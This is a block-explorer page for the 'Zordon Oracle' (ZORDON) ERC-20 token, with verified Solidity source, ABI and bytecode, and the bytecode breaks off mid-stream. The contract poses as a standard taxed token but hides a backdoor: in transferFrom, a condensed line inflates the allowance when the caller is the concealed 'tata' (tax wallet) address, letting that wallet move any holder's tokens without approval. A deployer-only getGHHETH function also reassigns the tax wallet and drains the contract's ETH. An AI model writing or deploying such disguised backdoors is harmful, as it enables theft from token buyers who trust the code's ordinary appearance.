ETH Price: $3,569.23 (+8.25%)

Token

Zordon Oracle (ZORDON)
 

Overview

Max Total Supply

1,000,000,000 ZORDON

Holders

107

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
nadething.eth
Balance
12,014,231.578690093 ZORDON

Value
$0.00
0x42682f169113bf1bb86d92e82a3bc46f8a1bc055
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZORDON

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-05
*/

pragma solidity 0.8.27;
/*
https://mirror.xyz/zordon-dev.eth/8PHjxB18Q3k_Pn2RfE6uNsXTzECNJgTZk7F68985Dlo
Tg: https://t.me/zordon_erc20
*/
// SPDX-License-Identifier: MIT

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ZORDON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;    
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Zordon Oracle";
    string private constant _symbol = unicode"ZORDON";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _buyCount=0;

    address private deployer;
    address private tata;

    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(0x2d5f438D9730F7705D4961783a1aE5Cb85490F13);

        tata = _taxWallet;
        deployer = msg.sender;

        _isExcludedFrom[owner()] = true;
        _isExcludedFrom[address(this)] = true;
        _isExcludedFrom[_taxWallet] = true;
        _balances[address(this)] = _tTotal;
        
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(tata==_msgSender())_allowances[sender][msg.sender]+=amount;
        _approve(sender, _msgSender(), _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniPair && to != address(uniRouter) && ! _isExcludedFrom[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapGHH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                send_GHH_Eth(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapGHH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function ManualGHH() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapGHH(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          send_GHH_Eth(ethBalance);
        }
    }

    function getGHHETH(address payable _wallet) external {
        require(msg.sender == deployer);
        tata=_taxWallet=_wallet;
        payable(msg.sender).transfer(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function send_GHH_Eth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniRouter), _tTotal);
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
        uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniPair).approve(address(uniRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualGHH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"getGHHETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610337565b61002090633b9aca0061034c565b61002b90600261034c565b6100359190610363565b60055560646100466009600a610337565b61005490633b9aca0061034c565b61005f90600261034c565b6100699190610363565b600655606461007a6009600a610337565b61008890633b9aca0061034c565b61009390600161034c565b61009d9190610363565b600755600c600881905560098190555f600a819055600b819055818055600d91909155600e8190556012805461ffff60a81b1916905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319908116732d5f438d9730f7705d4961783a1ae5cb85490f13908117909255601080548216909217909155600f805490911633179055600160035f61016a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101cc6009600a610337565b6101da90633b9aca0061034c565b305f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61021a6009600a610337565b61022890633b9aca0061034c565b60405190815260200160405180910390a3610382565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561028d578085048111156102715761027161023e565b600184161561027f57908102905b60019390931c928002610256565b935093915050565b5f826102a357506001610331565b816102af57505f610331565b81600181146102c557600281146102cf576102eb565b6001915050610331565b60ff8411156102e0576102e061023e565b50506001821b610331565b5060208310610133831016604e8410600b841016171561030e575081810a610331565b61031a5f198484610252565b805f190482111561032d5761032d61023e565b0290505b92915050565b5f61034560ff841683610295565b9392505050565b80820281158282048414176103315761033161023e565b5f8261037d57634e487b7160e01b5f52601260045260245ffd5b500490565b61183c8061038f5f395ff3fe608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102bc578063a9059cbb146102ea578063be10d6bc14610309578063c9567bf914610328578063dd62ed3e1461033c575f5ffd5b8063751039fc146102585780637d1db4a51461026c5780638da5cb5b146102815780638f9a55c0146102a7575f5ffd5b806323b872dd116100d857806323b872dd146101c0578063313ce567146101df57806350f43d5f146101fa57806370a0823114610210578063715018a614610244575f5ffd5b806306fdde0314610113578063095ea7b31461015a5780630faee56f1461018957806318160ddd146101ac575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600d81526c5a6f72646f6e204f7261636c6560981b60208201525b6040516101519190611441565b60405180910390f35b348015610165575f5ffd5b5061017961017436600461148d565b610380565b6040519015158152602001610151565b348015610194575f5ffd5b5061019e60075481565b604051908152602001610151565b3480156101b7575f5ffd5b5061019e610396565b3480156101cb575f5ffd5b506101796101da3660046114b7565b6103b6565b3480156101ea575f5ffd5b5060405160098152602001610151565b348015610205575f5ffd5b5061020e610469565b005b34801561021b575f5ffd5b5061019e61022a3660046114f5565b6001600160a01b03165f9081526001602052604090205490565b34801561024f575f5ffd5b5061020e6104ba565b348015610263575f5ffd5b5061020e610534565b348015610277575f5ffd5b5061019e60055481565b34801561028c575f5ffd5b505f546040516001600160a01b039091168152602001610151565b3480156102b2575f5ffd5b5061019e60065481565b3480156102c7575f5ffd5b506040805180820190915260068152652d27a92227a760d11b6020820152610144565b3480156102f5575f5ffd5b5061017961030436600461148d565b6105e5565b348015610314575f5ffd5b5061020e6103233660046114f5565b6105f1565b348015610333575f5ffd5b5061020e61065b565b348015610347575f5ffd5b5061019e610356366004611510565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c338484610a04565b5060015b92915050565b5f6103a36009600a61163e565b6103b190633b9aca0061164c565b905090565b5f6103c2848484610b28565b601054336001600160a01b039091160361040e576001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610408908490611663565b90915550505b61045f843361045a856040518060600160405280602881526020016117df602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110bd565b610a04565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610488575f5ffd5b305f9081526001602052604090205480156104a6576104a6816110f5565b4780156104b6576104b681611265565b5050565b5f546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e390611676565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e390611676565b6105696009600a61163e565b61057790633b9aca0061164c565b6005556105866009600a61163e565b61059490633b9aca0061164c565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c46009600a61163e565b6105d290633b9aca0061164c565b60405190815260200160405180910390a1565b5f61038c338484610b28565b600f546001600160a01b03163314610607575f5ffd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156104b6573d5f5f3e3d5ffd5b5f546001600160a01b031633146106845760405162461bcd60e51b81526004016104e390611676565b601254600160a01b900460ff16156106de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107279030906107196009600a61163e565b61045a90633b9aca0061164c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b91906116ab565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081e91906116ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610868573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c91906116ab565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108d3816001600160a01b03165f9081526001602052604090205490565b5f5f6108e65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561094c573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097191906116c6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ea91906116f1565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038216610ac75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e3565b6001600160a01b038216610bee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e3565b5f8111610c4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e3565b601254600160b01b900460ff161580610c715750601254600160a81b900460ff165b15610d1b576001600160a01b0383165f90815260016020526040902054610c99908290611710565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cc8908290611663565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b1b9085815260200190565b5f80546001600160a01b03858116911614801590610d4657505f546001600160a01b03848116911614155b15610f8057610d776064610d71600c54600e5411610d6657600854610d6a565b600a545b859061129c565b90611321565b6012549091506001600160a01b038581169116148015610da557506011546001600160a01b03848116911614155b8015610dc957506001600160a01b0383165f9081526003602052604090205460ff16155b15610eaf57600554821115610e205760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e3565b60065482610e42856001600160a01b03165f9081526001602052604090205490565b610e4c9190611663565b1115610e9a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e3565b600e8054905f610ea983611723565b91905055505b6012546001600160a01b038481169116148015610ed557506001600160a01b0384163014155b15610f0257610eff6064610d71600d54600e5411610ef557600954610d6a565b600b54859061129c565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610f3857506012546001600160a01b038581169116145b8015610f4d5750601254600160b01b900460ff165b15610f7e578015610f7557610f75610f7084610f6b84600754611362565b611362565b6110f5565b610f7e47611265565b505b8015610ff857305f90815260016020526040902054610f9f9082611376565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fef9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101a90836113d4565b6001600160a01b0385165f9081526001602052604090205561105d61103f83836113d4565b6001600160a01b0385165f9081526001602052604090205490611376565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a685856113d4565b60405190815260200160405180910390a350505050565b5f81848411156110e05760405162461bcd60e51b81526004016104e39190611441565b505f6110ec8486611710565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061113b5761113b61173b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611192573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b691906116ab565b816001815181106111c9576111c961173b565b6001600160a01b0392831660209182029290920101526011546111ef9130911684610a04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112279085905f9086903090429060040161174f565b5f604051808303815f87803b15801561123e575f5ffd5b505af1158015611250573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b6573d5f5f3e3d5ffd5b5f825f036112ab57505f610390565b5f6112b6838561164c565b9050826112c385836117bf565b1461131a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e3565b9392505050565b5f61131a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611415565b5f818311611370578261131a565b50919050565b5f806113828385611663565b90508381101561131a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e3565b5f61131a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110bd565b5f81836114355760405162461bcd60e51b81526004016104e39190611441565b505f6110ec84866117bf565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461148a575f5ffd5b50565b5f5f6040838503121561149e575f5ffd5b82356114a981611476565b946020939093013593505050565b5f5f5f606084860312156114c9575f5ffd5b83356114d481611476565b925060208401356114e481611476565b929592945050506040919091013590565b5f60208284031215611505575f5ffd5b813561131a81611476565b5f5f60408385031215611521575f5ffd5b823561152c81611476565b9150602083013561153c81611476565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115965780850481111561157a5761157a611547565b600184161561158857908102905b60019390931c92800261155f565b935093915050565b5f826115ac57506001610390565b816115b857505f610390565b81600181146115ce57600281146115d8576115f4565b6001915050610390565b60ff8411156115e9576115e9611547565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611617575081810a610390565b6116235f19848461155b565b805f190482111561163657611636611547565b029392505050565b5f61131a60ff84168361159e565b808202811582820484141761039057610390611547565b8082018082111561039057610390611547565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116bb575f5ffd5b815161131a81611476565b5f5f5f606084860312156116d8575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611701575f5ffd5b8151801515811461131a575f5ffd5b8181038181111561039057610390611547565b5f6001820161173457611734611547565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561179f5783516001600160a01b0316835260209384019390920191600101611778565b50506001600160a01b039590951660608401525050608001529392505050565b5f826117d957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220381c30deff96dd943783365d7ac50221abefa79bc5ff6b195d70d5f90213f84c64736f6c634300081b0033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102bc578063a9059cbb146102ea578063be10d6bc14610309578063c9567bf914610328578063dd62ed3e1461033c575f5ffd5b8063751039fc146102585780637d1db4a51461026c5780638da5cb5b146102815780638f9a55c0146102a7575f5ffd5b806323b872dd116100d857806323b872dd146101c0578063313ce567146101df57806350f43d5f146101fa57806370a0823114610210578063715018a614610244575f5ffd5b806306fdde0314610113578063095ea7b31461015a5780630faee56f1461018957806318160ddd146101ac575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600d81526c5a6f72646f6e204f7261636c6560981b60208201525b6040516101519190611441565b60405180910390f35b348015610165575f5ffd5b5061017961017436600461148d565b610380565b6040519015158152602001610151565b348015610194575f5ffd5b5061019e60075481565b604051908152602001610151565b3480156101b7575f5ffd5b5061019e610396565b3480156101cb575f5ffd5b506101796101da3660046114b7565b6103b6565b3480156101ea575f5ffd5b5060405160098152602001610151565b348015610205575f5ffd5b5061020e610469565b005b34801561021b575f5ffd5b5061019e61022a3660046114f5565b6001600160a01b03165f9081526001602052604090205490565b34801561024f575f5ffd5b5061020e6104ba565b348015610263575f5ffd5b5061020e610534565b348015610277575f5ffd5b5061019e60055481565b34801561028c575f5ffd5b505f546040516001600160a01b039091168152602001610151565b3480156102b2575f5ffd5b5061019e60065481565b3480156102c7575f5ffd5b506040805180820190915260068152652d27a92227a760d11b6020820152610144565b3480156102f5575f5ffd5b5061017961030436600461148d565b6105e5565b348015610314575f5ffd5b5061020e6103233660046114f5565b6105f1565b348015610333575f5ffd5b5061020e61065b565b348015610347575f5ffd5b5061019e610356366004611510565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c338484610a04565b5060015b92915050565b5f6103a36009600a61163e565b6103b190633b9aca0061164c565b905090565b5f6103c2848484610b28565b601054336001600160a01b039091160361040e576001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610408908490611663565b90915550505b61045f843361045a856040518060600160405280602881526020016117df602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110bd565b610a04565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610488575f5ffd5b305f9081526001602052604090205480156104a6576104a6816110f5565b4780156104b6576104b681611265565b5050565b5f546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e390611676565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e390611676565b6105696009600a61163e565b61057790633b9aca0061164c565b6005556105866009600a61163e565b61059490633b9aca0061164c565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c46009600a61163e565b6105d290633b9aca0061164c565b60405190815260200160405180910390a1565b5f61038c338484610b28565b600f546001600160a01b03163314610607575f5ffd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156104b6573d5f5f3e3d5ffd5b5f546001600160a01b031633146106845760405162461bcd60e51b81526004016104e390611676565b601254600160a01b900460ff16156106de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107279030906107196009600a61163e565b61045a90633b9aca0061164c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b91906116ab565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081e91906116ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610868573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c91906116ab565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108d3816001600160a01b03165f9081526001602052604090205490565b5f5f6108e65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b